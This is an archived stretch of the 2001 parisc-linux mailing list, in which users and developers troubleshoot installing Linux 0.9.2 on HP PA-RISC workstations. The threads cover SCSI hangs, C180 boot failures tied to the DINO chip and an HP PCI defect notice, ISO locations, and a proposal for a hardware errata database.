	id 2F7C5B00C; Wed, 25 Jul 2001 16:52:03 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010720192900.K22691@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Fri, Jul 20, 2001 at 07:29:00PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11718

On Fri, Jul 20, 2001 at 07:29:00PM +0100, Matthew Wilcox wrote:
> On Fri, Jul 20, 2001 at 08:18:36PM +0200, Bjoern A. Zeeb wrote:
> > PS: it's a bit confusing with those different iso images on different
> > "mirrors" with different versionizing :(
> 
> That's why 0.9.2 was released after we had 3 different versions of 0.9.1,
> each with different bugs.
> 
> I don't know what your problem is until I see the System.map which
> the 0.9.2 cd shipped with.  Does anyone have this?

It's on the ISO dists/sid/main/disks-hppa/sys_map.gz or similar.

Richard





From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Scammell, David" <David.Scammell@uk.wmmercer.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 715/33 disk and kernel make dep problems
Date: Wed, 25 Jul 2001 16:52:54 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <99F41EF55D11D511818600D0B74749C496F42B@wchrntms01.uk.wmmercer.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620333 22715 80.91.229.3 (22 Nov 2014 01:38:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:53 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: 'Richard Hirst' <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 25 09:55:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailrx.uk.wmmercer.com (unknown [193.131.189.243])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7313C482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jul 2001 09:55:51 -0600 (MDT)
Original-Received: from wlvpntec02.uk.wmmercer.com (unverified) by mailrx.uk.wmmercer.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac1902f3b354f76a4cd7@mailrx.uk.wmmercer.com>;
 Wed, 25 Jul 2001 16:56:31 +0100
Original-Received: by WLVPNTEC02 with Internet Mail Service (5.5.2650.21)
	id <PTZ5VANT>; Wed, 25 Jul 2001 16:55:24 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11719

Will try that tonight.

I managed to compile 2.4.6-pa21 out of cvs a few days ago,
same problem. A new version of make came down from debian
a few days ago which may of helped the make dep problems,
however it still stops, the scsi problems may affect make
dep possibly, even though i'm compling over nfs.

I've not had time to change the sync speed between crashes
but i'll get there.

Sorry there is no oops yet, I'm using an X terminal with
the serial line plugged in for the console.

BTW 2.4.6-pa21 does not appear to listen for console input,
at least not during the interactive fsck phase following a
crash, did that break recently?

regards
Dave

> -----Original Message-----
> From: Richard Hirst [mailto:rhirst@linuxcare.com]
> Sent: 25 July 2001 16:27
> To: Scammell, David
> Cc: 'parisc-linux@lists.parisc-linux.org'
> Subject: Re: [parisc-linux] 715/33 disk and kernel make dep problems
> 
> 
> On Thu, Jul 19, 2001 at 03:22:18PM +0100, Scammell, David wrote:
> > 
> > Hi,
> > 
> > I installed with 9.2, no problems, updated with apt-get.
> > 
> > I'd like to build my own kernel to test out a disk problem I have.
> > 
> > When I attempt anything which would fill the scsi disk 
> queue with pending
> > writes
> > (e.g. tar xf kernel.tar), then machine hangs, I get some 
> messages on the
> > serial
> > console which I've not got them written down yet, but these 
> include a mount
> > read
> > only message. I'm using an old 2Gb disk (info not to hand, 
> I'm at work), but
> > no so
> > old it shouldn't handle tagged writes. I'd like to change 
> the queue depth
> > and bus
> > sync speed (looks like its set at 20Mhz, not 10Mhz) to see 
> if this makes a
> > difference.
> 
> Could you try with disconnect/reselect turned off?  Should be able
> to do that by booting with "sim700=nodisc:0xff".
> 
> Richard
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 


*************************** IMPORTANT NOTE **************************
The above information is confidential to the addressee and may be
privileged.  Unauthorised access and use is prohibited.  William M.
Mercer Limited is regulated by IMRO and the Personal Investment
Authority. Registered in London No. 984275 Registered Office: Telford
House, 14 Tothill Street, London SW1H 9NB




From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 with 0.92 not booting :(
Date: Wed, 25 Jul 2001 18:24:33 +0200 (CEST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0107251820580.822-100000@noc.zabbadoz.net>
References: <20010725165203.C1252@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620333 22720 80.91.229.3 (22 Nov 2014 01:38:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:53 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	<parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 25 10:25:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8ACD6482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jul 2001 10:24:59 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f6PGOXO75113;
	Wed, 25 Jul 2001 18:24:33 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <20010725165203.C1252@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11720

On Wed, 25 Jul 2001, Richard Hirst wrote:

> On Fri, Jul 20, 2001 at 07:29:00PM +0100, Matthew Wilcox wrote:
> > I don't know what your problem is until I see the System.map which
> > the 0.9.2 cd shipped with.  Does anyone have this?
>
> It's on the ISO dists/sid/main/disks-hppa/sys_map.gz or similar.

I already mailed it to him the same evening.

Anybody else an idea what the prob. could be ?

Perhaps I just missed something ? Or if you need any further
information I still can boot into the 0.5beta.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sean J. Anaya" <sanaya@gr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help on install
Date: Wed, 25 Jul 2001 14:58:24 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <001101c1154c$8bbe0af0$3c8a260f@spawn>
Reply-To: <sanaya@gr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620333 22721 80.91.229.3 (22 Nov 2014 01:38:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:53 +0000 (UTC)
To: "HP Linux Email List" <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 25 14:55:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70893482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jul 2001 14:55:21 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA10150
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Jul 2001 14:54:13 -0600
Original-Received: (qmail 29209 invoked by uid 15267); 25 Jul 2001 20:55:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29195 invoked from network); 25 Jul 2001 20:55:16 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 25 Jul 2001 20:55:16 -0000
Original-Received: from hpgrla.gr.hp.com (hpgrla.gr.hp.com [15.57.1.1])
	by atlrel1.hp.com (Postfix) with ESMTP id 615649F2
	for <parisc-linux@thepuffingroup.com>; Wed, 25 Jul 2001 16:55:15 -0400 (EDT)
Original-Received: from kontiki.gr.hp.com (kontiki.gr.hp.com [15.38.138.59])
	by hpgrla.gr.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with SMTP id OAA15538
	for <parisc-linux@thepuffingroup.com>; Wed, 25 Jul 2001 14:55:14 -0600 (MDT)
Original-Received: from spawn ([15.38.138.60] verified) by kontiki.gr.hp.com (Stalker SMTP Server 1.8b8) with SMTP id S.0000024789 for <parisc-linux@thepuffingroup.com>; Wed, 25 Jul 2001 14:55:34 -0600
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Xref: news.gmane.org gmane.linux.ports.parisc:11721

Hello all,

I'm attempting to to install HP Linux on a C180XP
Has anyone had success install V0.9 on this type
of machine?

The problem I'm having is that when booting from
a CD, created with the current CD image on the 
web site, the system just hangs in the boot 
process after Serial driver has been enabled.

Any help would be greatly appreciated.

Thanks!

Sean Anaya
sanaya@gr.hp.com




From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 0.9.2 isos
Date: Wed, 25 Jul 2001 22:00:54 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <200107260400.WAA10954@puffin.external.hp.com>
References: <taggart@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620333 22723 80.91.229.3 (22 Nov 2014 01:38:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:53 +0000 (UTC)
Cc: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 25 22:02:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD96D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jul 2001 22:02:45 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA10954;
	Wed, 25 Jul 2001 22:00:54 -0600
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Mon, 23 Jul 2001 23:58:05 MDT." <20010724055805.B44CF37CD9@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11722

Matt Taggart wrote:
> BTW- The isos have been available since July 10th at,
> 
> ftp://puffin.external.hp.com/pub/parisc/cd-images/
> 
> It's just the website that needs updating.

Updated.
Someone who has a clue what the errata for 0.9.2 is
should update web/src/release-0.9/errata-092.x page.
(ie add what the original problem was)

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@grabert.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Proposal for Errata DB
Date: Thu, 26 Jul 2001 11:20:40 +0200 (CEST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0107261046410.10907-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620334 22727 80.91.229.3 (22 Nov 2014 01:38:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 26 03:20:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sgate.charlysworld.de (pD9541AB8.dip.t-dialin.net [217.84.26.184])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4364B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Jul 2001 03:20:45 -0600 (MDT)
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f6Q9Kel11828
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Jul 2001 11:20:41 +0200
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
Xref: news.gmane.org gmane.linux.ports.parisc:11723

Hello,

I just wanted to know whether there is something
like a database where I can look up all the
unfinished tasks/unsupported hardware ?
(E.g. just like an additional entry in the
hardware database).

I'm writing this, because all the information
on the website (e.g. ToDo-list, or the 'supported
hardware' web page) are quite outdated or not
very accurate/detailed. So potential Linux/HPPA
users have to read the mailing lists carefully
and/or ask (maybe annoying) questions.

Since I'm not a (PA)linux kernel and HP expert
(and many people out there aren't either), I
just want to know what machine is supported
(and how good).

E.g. I own a HP9000/730, a HP9000/807/F10 and
a HP9000/780/C180; know I want to know on what
machines I can install and use Linux/HPPA successfully
and on what computers I should stick on HP/UX
(other user might use NeXTSTEP).

Switching to linux also depends on the supported aux. hardware
(parallel/serial ports, graphics, audio, ethernet and
pci/eisa bus): for some is parallel port support
very important, for others not ...

Therefore I would like some kind of up-to-date
database, where I can lookup all hardware
(like the h/w database) AND the current state of
the corresponding driver.

Greetings max

PS: keep on the good work!!!





From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for Errata DB
Date: Thu, 26 Jul 2001 10:44:41 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <20010726164441.5B2D737CD9@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0107261046410.10907-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620334 22732 80.91.229.3 (22 Nov 2014 01:38:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, taggart@carmen.fc.hp.com
To: "M. Grabert" <xam@grabert.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 26 10:44:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id A03D2482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Jul 2001 10:44:43 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 0A314B48; Thu, 26 Jul 2001 12:44:42 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 5B2D737CD9; Thu, 26 Jul 2001 10:44:41 -0600 (MDT)
In-Reply-To: Your message of "Thu, 26 Jul 2001 11:20:40 +0200."
             <Pine.LNX.4.21.0107261046410.10907-100000@sgate.charlysworld.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:11724

"M. Grabert" writes...

> Hello,
> 
> I just wanted to know whether there is something
> like a database where I can look up all the
> unfinished tasks/unsupported hardware ?

On the main http://parisc-linux.org page there is a link under the "PA-RISC
FAQ" section called "Where do I find the project todo list?". If you click
on that link it takes you to a page that explains that the todo list is
tracked by the Bug Tracking System at,

http://bugs.parisc-linux.org

It is open to all to use. If you find bugs or know about unfinished tasks
please file them.

> I'm writing this, because all the information
> on the website (e.g. ToDo-list, or the 'supported
> hardware' web page) are quite outdated or not
> very accurate/detailed. So potential Linux/HPPA
> users have to read the mailing lists carefully
> and/or ask (maybe annoying) questions.

You're right the website is out of date. If you have additions for the FAQ
or website please post them to the list, we'd love to have them.

> Since I'm not a (PA)linux kernel and HP expert
> (and many people out there aren't either), I
> just want to know what machine is supported
> (and how good).

On the 0.9 release page,

http://parisc-linux.org/release-0.9/index.html

there are links for systems supported and errata. Again if you have additions
please send them.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Help on install
Date: Thu, 26 Jul 2001 18:48:42 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <01072618484200.01103@octopus>
References: <20010726124024.1EB23482B@dsl2.external.hp.com>
Reply-To: Reinhard.Gimbel@freenet.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620334 22733 80.91.229.3 (22 Nov 2014 01:38:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:54 +0000 (UTC)
Cc: sanaya@gr.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 26 10:55:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mout0.freenet.de (mout0.freenet.de [194.97.50.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75E2D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Jul 2001 10:55:15 -0600 (MDT)
Original-Received: from [194.97.50.138] (helo=mx0.freenet.de)
	by mout0.freenet.de with esmtp (Exim 3.30 #3)
	id 15PoPh-0001cV-00; Thu, 26 Jul 2001 18:55:05 +0200
Original-Received: from a3203.pppool.de ([213.6.50.3] helo=octopus)
	by mx0.freenet.de with smtp (Exim 3.30 #3)
	id 15PoPg-0005kj-00; Thu, 26 Jul 2001 18:55:05 +0200
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010726124024.1EB23482B@dsl2.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11725

> I'm attempting to to install HP Linux on a C180XP
> Has anyone had success install V0.9 on this type
> of machine?

I'm still trying to install 0.9.2 on a C180, too.
 
> The problem I'm having is that when booting from
> a CD, created with the current CD image on the
> web site, the system just hangs in the boot
> process after Serial driver has been enabled.

My expirence is that the DINO I/O chip seems to be the key 
element for that problem. Version 1.x of this chip crashes the 
system like you describe it (crash during boot ... :-( ) My 
DINO version (2.1) allows at least boot the system but the 
system crashes when I try to do the next steps within the 
installation procedure.

One tip i got in this mailing list was to try to install over 
network / NFS.

My problem at present is that the TP port of my C180 box seems 
to be broken, because i can't get a connection to my Intel 
Linux box. I tried to use either 100 Mbps as well as 10 Mbps on 
my Intel Linux box. The AUI-Ethernet port I can't test because 
I've not glue box from my Intel Linux TP ethernet adaptor to 
the AUI ethernet port of my C180 ...

Anybody outthere with an idea in this area ?

Thanks a lot !

Reinhard.




From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Help on install
Date: Thu, 26 Jul 2001 18:35:26 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20010726183526.A27258@parcelfarce.linux.theplanet.co.uk>
References: <20010726124024.1EB23482B@dsl2.external.hp.com> <01072618484200.01103@octopus>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620335 22737 80.91.229.3 (22 Nov 2014 01:38:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, sanaya@gr.hp.com
To: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 26 11:35:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4AD1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Jul 2001 11:35:32 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Pp2k-0007Lk-00; Thu, 26 Jul 2001 18:35:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01072618484200.01103@octopus>; from Reinhard.Gimbel@freenet.de on Thu, Jul 26, 2001 at 06:48:42PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11726

On Thu, Jul 26, 2001 at 06:48:42PM +0200, Reinhard Gimbel wrote:
> My expirence is that the DINO I/O chip seems to be the key 
> element for that problem. Version 1.x of this chip crashes the 
> system like you describe it (crash during boot ... :-( )

Oooh.  That was the vital clue, see this note from the source:

** "HP has discovered a potential system defect that can affect
** the behavior of five models of HP VISUALIZE workstations when
** equipped with third-party or customer-installed PCI I/O expansion
** cards. The defect is limited to the HP C180, C160, C160L, B160L,
** and B132L VISUALIZE workstations, and will only be encountered
** when data is transmitted through PCI I/O expansion cards on the
** PCI bus. HP-supplied graphics cards that utilize the PCI bus are
** not affected."

Maybe we're triggering this bug... grant?


-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Help on install
Date: Thu, 26 Jul 2001 12:36:33 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <200107261836.MAA19533@puffin.external.hp.com>
References: <Reinhard.Gimbel@freenet.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620335 22740 80.91.229.3 (22 Nov 2014 01:38:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, sanaya@gr.hp.com
To: Reinhard.Gimbel@freenet.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 26 12:37:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8CC82482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Jul 2001 12:37:52 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA19533;
	Thu, 26 Jul 2001 12:36:33 -0600
In-Reply-To: Message from Reinhard Gimbel <Reinhard.Gimbel@freenet.de> 
   of "Thu, 26 Jul 2001 18:48:42 +0200." <01072618484200.01103@octopus> 
Xref: news.gmane.org gmane.linux.ports.parisc:11727

Reinhard Gimbel wrote:
> My expirence is that the DINO I/O chip seems to be the key 
> element for that problem. Version 1.x of this chip crashes the 
> system like you describe it (crash during boot ... :-( )

You have Dino 1.x ? I didn't think HP ever shipped those to customers.
Or did you mean another chip?
Perhaps post the console log output?

> My 
> DINO version (2.1) allows at least boot the system but the 
> system crashes when I try to do the next steps within the 
> installation procedure.

On C180 that's most likely the problem with ccio driver.
That's a known bug(s?)  that ryan bradetich hasn't been able to solve yet.
If you can help ryan, mail him.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Help on install
Date: Thu, 26 Jul 2001 12:42:35 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <200107261842.MAA19577@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620335 22742 80.91.229.3 (22 Nov 2014 01:38:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:55 +0000 (UTC)
Cc: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>,
	parisc-linux@lists.parisc-linux.org, sanaya@gr.hp.com
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 26 12:44:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E71E6482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Jul 2001 12:44:02 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA19577;
	Thu, 26 Jul 2001 12:42:35 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Thu, 26 Jul 2001 18:35:26 BST." <20010726183526.A27258@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11728

Matthew Wilcox wrote:
> ** "HP has discovered a potential system defect that can affect
> ** the behavior of five models of HP VISUALIZE workstations when
> ** equipped with third-party or customer-installed PCI I/O expansion
> ** cards. The defect is limited to the HP C180, C160, C160L, B160L,
> ** and B132L VISUALIZE workstations, and will only be encountered
> ** when data is transmitted through PCI I/O expansion cards on the
> ** PCI bus. HP-supplied graphics cards that utilize the PCI bus are
> ** not affected."
> 
> Maybe we're triggering this bug... grant?

Perhaps...updating the firmware to the latest will not let the system
boot if in fact that's the case. remove all PCI devices and then
the system will boot.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tew Tee Li <tltew@simecity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 D Class Enterprise server
Date: Fri, 27 Jul 2001 09:17:46 +0800
Lines: 10
Approved: news@gmane.org
Message-ID: <YsOsfHZbqNSU3kpeNCqLMvF4HIc@simecity.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620336 22744 80.91.229.3 (22 Nov 2014 01:38:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 26 19:02:50 2001
